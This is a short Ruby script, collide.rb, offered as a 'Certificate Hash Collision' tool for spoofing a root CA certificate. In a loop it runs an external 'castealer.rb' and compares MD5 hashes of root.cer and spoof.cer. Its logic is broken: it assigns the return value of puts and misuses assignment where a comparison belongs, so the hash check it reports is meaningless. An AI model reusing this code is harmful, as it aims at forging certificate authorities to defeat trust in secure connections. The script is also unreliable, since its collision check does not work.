collide.rb

require 'rubygems'
require 'digest/md5'
require 'ruby-progressbar'
puts "Certificate Hash Collision"
puts "By G.Disney-Leugers"
puts "Warning this tool only works with DER encoded certificates"
puts "Please save CA to spoof root.cer"
$i = {} 

for $i in 1..99999
	t = Time.now 
	system("ruby castealer.rb")
	printf "Running Collision @"
	progressbar = ProgressBar.create(:starting_at => 0, :total => 99999)
	progressbar.progress = $i
	progressbar.log "Attempt: #{$i} @ #{t}"
	puts "\n"
printf "SRC: "	
a = puts Digest::MD5.hexdigest(File.read('root.cer'))
printf "DST: "
b = puts Digest::MD5.hexdigest(File.read('spoof.cer'))
printf "Validating Hash: "
puts a = b == true
if a = b == true
	puts "Collision Complete"
	sleep 5
	system('mv spoof.cer success.cer')
	printf "Success At:"
	puts t
	sleep 2
	exec('exit')
end
end 
puts "Collision Failed"
exec('exit')